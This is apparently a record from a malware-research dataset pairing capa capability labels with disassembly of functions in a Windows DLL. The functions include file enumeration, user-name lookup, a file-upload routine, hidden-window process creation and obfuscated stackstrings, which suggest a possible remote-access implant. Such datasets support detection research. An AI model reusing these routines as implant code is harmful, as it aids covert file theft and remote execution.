joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001610
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x2c8
mov rax, qword [0x180045040]
xor rax, rsp
mov qword [rsp + 0x2b0], rax
lea rdx, [0x180034581]
lea rcx, [rsp + 0x40]
call fcn.1800024a8
mov rdx, qword [rsp + 0x2d8]
lea rcx, [rsp + 0x1a0]
call fcn.1800181b0
mov dword [rsp + 0x20], 0xffffffff
cmp qword [rsp + 0x2d8], 0
je 0x180001684
mov rcx, qword [rsp + 0x2d8]
call fcn.180018280
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jne 0x1800016cd
lea rdx, [rsp + 0x1a0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jne 0x1800016cd
lea rdx, [0x1800345a0]
mov rcx, qword [rsp + 0x2d0]
call fcn.1800024a8
lea rcx, [rsp + 0x40]
call fcn.1800026ec
mov rax, qword [rsp + 0x2d0]
jmp 0x1800017ec
movsxd rax, dword [rsp + 0x20]
mov byte [rsp + rax + 0x1a0], 0x5c
mov eax, dword [rsp + 0x20]
inc eax
cdqe
mov byte [rsp + rax + 0x1a0], 0x2a
mov eax, dword [rsp + 0x20]
add eax, 2
cdqe
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0x107
jae 0x180001705
jmp 0x18000170a
call fcn.18000db00
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x1a0], 0
mov qword [rsp + 0x38], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
je 0x1800017a0
lea rdx, [rsp + 0x8c]
lea rcx, [rsp + 0x40]
call fcn.180002804
mov eax, dword [rsp + 0x60]
and eax, 0x10
test eax, eax
je 0x18000176e
lea rdx, [0x1800345b0]
lea rcx, [rsp + 0x40]
call fcn.180002804
lea rdx, [0x1800345b4]
lea rcx, [rsp + 0x40]
call fcn.180002804
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180001740
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x1800017c8
lea rdx, [0x1800345b8]
mov rcx, qword [rsp + 0x2d0]
call fcn.1800024a8
lea rcx, [rsp + 0x40]
call fcn.1800026ec
mov rax, qword [rsp + 0x2d0]
jmp 0x1800017ec
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x2d0]
call fcn.180002448
lea rcx, [rsp + 0x40]
call fcn.1800026ec
mov rax, qword [rsp + 0x2d0]
mov rcx, qword [rsp + 0x2b0]
xor rcx, rsp
call fcn.18000dd20
add rsp, 0x2c8
ret

Function at 0x18000180c
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov dword [rsp + 0x20], pe_nt_image_headers64
lea rdx, [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x180001835
xor eax, eax
jmp 0x18000183a
mov eax, 1
add rsp, 0x38
ret
Function at 0x18000194c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
lea rdx, [0x18003463c]
mov rcx, qword [rsp + 0x68]
call fcn.1800185cc
mov qword [rsp + 0x38], rax
mov edx, 0x2f
mov rcx, qword [rsp + 0x68]
call fcn.18000fd80
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x180001999
mov rax, qword [rsp + 0x68]
dec rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x38], 0
jne 0x1800019b8
mov eax, 1
jmp 0x180001ae1
mov rcx, qword [rsp + 0x30]
call fcn.180018280
mov qword [rsp + 0x40], rax
mov r8d, 2
xor edx, edx
mov rcx, qword [rsp + 0x38]
call fcn.180018b70
test eax, eax
je 0x1800019f3
lea rcx, str.Failed_to_get_filesize_n
call fcn.180001544
mov eax, 1
jmp 0x180001ae1
mov rcx, qword [rsp + 0x38]
call fcn.18001912c
mov dword [rsp + 0x24], eax
mov rcx, qword [rsp + 0x38]
call fcn.1800199c0
mov edx, dword [rsp + 0x24]
lea rcx, str.Uploading_file_of_size:__d_n
call fcn.180001544
mov eax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x40]
lea rax, [rcx + rax + 2]
mov rcx, rax
call fcn.180015a64
mov rcx, qword [rsp + 0x60]
mov qword [rcx], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx]
mov byte [rax + rcx], 2
mov rax, qword [rsp + 0x60]
mov rax, qword [rax]
inc rax
mov rdx, qword [rsp + 0x30]
mov rcx, rax
call fcn.1800181b0
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
cmp dword [rsp + 0x28], 0
je 0x180001ac9
mov eax, dword [rsp + 0x20]
mov ecx, dword [rsp + 0x24]
sub ecx, eax
mov eax, ecx
mov eax, eax
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x40]
mov edx, dword [rsp + 0x20]
lea rcx, [rcx + rdx + 2]
mov r9, qword [rsp + 0x38]
mov r8d, eax
mov edx, 1
call fcn.180018838
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
jmp 0x180001a76
mov rcx, qword [rsp + 0x38]
call fcn.18001844c
mov eax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x40]
lea rax, [rcx + rax + 2]
add rsp, 0x58
ret
Function at 0x180001aec
Capabilities:
Create process on windows

Disassembly:
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
sub rsp, 0xe8
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.180032510
mov dword [rsp + 0x70], 0x68
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x58]
call fcn.180032510
movzx eax, byte [rsp + 0xf8]
test eax, eax
je 0x180001b55
lea rcx, str.running_without_window_n
call fcn.180001544
mov dword [rsp + 0xac], 1
xor eax, eax
mov word [rsp + 0xb0], ax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0xf0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x180001bac
mov eax, 0xffffffff
jmp 0x180001bde
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x50], eax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [rsp + 0x50]
lea rcx, str.Process_created_with_PID:__lu_n
call fcn.180001544
mov eax, dword [rsp + 0x50]
add rsp, 0xe8
ret

Function at 0x180001bec
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
lea rdx, [0x1800346b0]
mov rcx, qword [rsp + 0x48]
call fcn.1800185cc
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x180001c2e
lea rcx, str.Failed_to_open_file_n
call fcn.180001544
mov eax, 1
jmp 0x180001ccd
mov r8d, 2
xor edx, edx
mov rcx, qword [rsp + 0x28]
call fcn.180018b70
test eax, eax
je 0x180001c57
lea rcx, str.Failed_to_get_file_size
call fcn.180001544
mov eax, 1
jmp 0x180001ccd
mov rcx, qword [rsp + 0x28]
call fcn.18001912c
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
inc eax
mov eax, eax
mov ecx, eax
call fcn.180015a64
mov rcx, qword [rsp + 0x40]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x28]
call fcn.1800199c0
mov rcx, qword [rsp + 0x28]
call fcn.1800184e4
test eax, eax
jne 0x180001cb0
mov r9, qword [rsp + 0x28]
mov r8d, 0x186a0
mov edx, 1
mov rcx, qword [rsp + 0x40]
call fcn.180018838
jmp 0x180001c86
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
mov qword [rcx + rax*8], 0
mov rcx, qword [rsp + 0x28]
call fcn.18001844c
xor eax, eax
add rsp, 0x38
ret

Function at 0x180001d74
Capabilities:
Delete directory

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x180001d93
mov eax, 1
jmp 0x180001d95
xor eax, eax
add rsp, 0x28
ret

Function at 0x180001da0
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x180001dc1
mov eax, 1
jmp 0x180001dc3
xor eax, eax
add rsp, 0x28
ret
Function at 0x180008620
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [0x180045040]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x20], 0x18
mov byte [rsp + 0x28], 0x3d
mov byte [rsp + 0x29], 0x34
mov byte [rsp + 0x2a], 0x43
mov byte [rsp + 0x2b], 0x42
mov byte [rsp + 0x2c], 0x37
mov byte [rsp + 0x2d], 0xef
mov byte [rsp + 0x2e], 0x46
mov byte [rsp + 0x2f], 0x3b
mov byte [rsp + 0x30], 0x30
mov byte [rsp + 0x31], 0x3d
mov byte [rsp + 0x32], 0xef
mov byte [rsp + 0x33], 0x42
mov byte [rsp + 0x34], 0x37
mov byte [rsp + 0x35], 0x3e
mov byte [rsp + 0x36], 0x46
mov byte [rsp + 0x37], 0xef
mov byte [rsp + 0x38], 0x3f
mov byte [rsp + 0x39], 0x41
mov byte [rsp + 0x3a], 0x3e
mov byte [rsp + 0x3b], 0x35
mov byte [rsp + 0x3c], 0x38
mov byte [rsp + 0x3d], 0x3b
mov byte [rsp + 0x3e], 0x34
mov byte [rsp + 0x3f], 0xcf
mov eax, 4
mov eax, eax
mov ecx, dword [0x180046978]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rax + rcx]
cmp dword [0x18004638c], eax
jle 0x18000871c
lea rcx, [0x18004638c]
call fcn.18000e148
cmp dword [0x18004638c], 0xffffffff
jne 0x18000871c
lea rdx, [rsp + 0x28]
lea rcx, [0x180046370]
call fcn.180009be8
lea rcx, [0x180033418]
call fcn.18000e0c4
lea rcx, [0x18004638c]
call fcn.18000e0dc
lea rax, [0x180046370]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.18000dd20
add rsp, 0x58
ret
Function at 0x180018f48
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.180031a70
sub rsp, rax
mov rax, qword [0x180045040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.180020148
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x180018f97
mov rax, rbp
jmp 0x18001909f
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x477e0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.180023a60
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x477e0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x18001909b
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18001909b
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.180023a60
test rax, rax
js 0x18001909b
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x18001909b
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x18001908d
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x18001908d
cmp byte [rcx], 0xd
jne 0x180019073
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x180019082
cmp byte [rcx + 1], 0xa
jne 0x180019082
inc rcx
jmp 0x180019082
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x45490]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x180019055
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x18001909f
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.18000dd20
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x180019fa0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x180019fd7
call fcn.18001cc90
mov dword [rax], socket
call fcn.180018068
xor eax, eax
jmp 0x18001a065
mov rdx, r9
mov rcx, r8
call fcn.180019f3c
mov rbx, rax
test rax, rax
je 0x18001a062
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x180019e68]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x18001a04f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.18001cc04
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x18001a036
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x18001a045
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.18001df9c
jmp 0x18001a062
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x18001a05f
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x180022a78
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1800477e0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x180022acf
cmp word [rdx], r13w
jne 0x180022acf
or byte [rax + rdi*8 + 0x38], cl
jmp 0x180022ad4
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x180022bf9
mov r11d, recv
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x180022c1a
lea r9, [rdx + 2]
cmp cx, r11w
je 0x180022b0d
mov rdx, r9
mov word [rbx], cx
jmp 0x180022b34
cmp r9, r8
jae 0x180022b44
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x180022aee
jmp 0x180022bf9
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180022bee
cmp dword [rsp + 0x80], esi
je 0x180022bee
lea r8, [0x1800477e0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x180022bc6
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x180022b96
mov word [rbx], r13w
jmp 0x180022bf6
mov ecx, recv
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x180022ba3
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x180022bf6
cmp word [rsp + 0x70], r13w
jne 0x180022bd3
cmp rbx, r14
je 0x180022b90
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.180023a68
cmp word [rsp + 0x70], r13w
je 0x180022bf9
mov ecx, recv
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1800477e0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x180022bf3
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x180022bf9
Function at 0x1800248cc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1800248e2
mov al, 1
jmp 0x180024942
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1800248f3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x180024940
mov ecx, dword [rcx + 0x18]
nop
call fcn.180029af4
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180024940
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x180024940
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x180024940
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x180024942
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x180024aa4
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x180024ac4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.18001cc04
or eax, 0xffffffff
jmp 0x180024ac6
xor eax, eax
add rsp, 0x28
ret
Function at 0x1800274fc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18002752c
xor eax, eax
jmp 0x1800275ef
mov rbp, rbx
cmp word [rax], si
je 0x180027551
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180027538
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180027534
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18002741c
movsxd r14, eax
test eax, eax
jne 0x18002758f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180027525
mov rcx, r14
call fcn.18001dfd8
mov rdi, rax
test rax, rax
jne 0x1800275a8
xor ecx, ecx
call fcn.18001df9c
jmp 0x180027584
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18002741c
test eax, eax
jne 0x1800275d9
mov rcx, rdi
call fcn.18001df9c
jmp 0x1800275e3
xor ecx, ecx
call fcn.18001df9c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x18002d884
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.180020698
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x18002d925
cmp ebx, dword [rsp + 0x30]
je 0x18002d91e
test esi, esi
je 0x18002d91e
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x18002d8f9
sub r8w, 0x61
cmp r8w, 0x19
ja 0x18002d906
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x18002d8e3
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x18002d90a
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x18002d927
mov eax, 1
jmp 0x18002d927
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x18002f7ec
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.180019754
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x18002f876
cmp byte [rbp - 0x21], r15b
je 0x18002f871
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x18002f8ac
call fcn.18001e3d0
test eax, eax
jne 0x18002f898
cmp byte [rbp - 0x21], r15b
je 0x18002f890
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x18002f8ac
cmp byte [rbp - 0x21], r15b
je 0x18002f8a9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1800195d8
test eax, eax
jne 0x18002f94c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.180019754
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x18002f8eb
cmp byte [rbp - 0x21], r15b
je 0x18002f920
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x18002f920
call fcn.18001e3d0
test eax, eax
jne 0x18002f90c
cmp byte [rbp - 0x21], r15b
je 0x18002f905
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x18002f920
cmp byte [rbp - 0x21], r15b
je 0x18002f91d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1800195d8
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x18002f94c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x18002f94f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x18002f95d
mov rcx, rdi
call fcn.18001df9c
cmp byte [rbp + 0x3f], r15b
je 0x18002f96c
mov rcx, qword [rbp + 0x27]
call fcn.18001df9c
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x180030b14
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.180023a68
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.180023a68
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x180030c64
cmp rax, 0xffffffffffffffff
je 0x180030c64
xor edi, edi
test rbp, rbp
jle 0x180030c0f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.18001e038
mov rbx, rax
test rax, rax
jne 0x180030b9c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x180030c05
mov edx, 0x8000
mov ecx, r14d
call fcn.18002ece8
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1800244cc
cmp eax, 0xffffffff
je 0x180030be5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x180030bac
mov edx, r15d
mov ecx, r14d
call fcn.18002ece8
jmp 0x180030c05
cmp byte [rsi + 0x38], dil
je 0x180030bfc
cmp dword [rsi + 0x34], 5
jne 0x180030bfc
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], recv
cmp byte [rsi + 0x30], dil
je 0x180030c05
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.18001df9c
jmp 0x180030c78
jns 0x180030c78
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.180023a68
cmp rax, 0xffffffffffffffff
jne 0x180030c30
cmp byte [rsi + 0x30], dil
je 0x180030c78
mov edi, dword [rsi + 0x2c]
jmp 0x180030c78
mov ecx, r14d
call fcn.180029af4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x180030c78
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, recv
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], recv
jmp 0x180030c78
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x180030c71
mov eax, dword [rsi + 0x2c]
jmp 0x180030c76
mov eax, socket
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.180023a68
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x180031b60
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180031b88
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180031b88
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret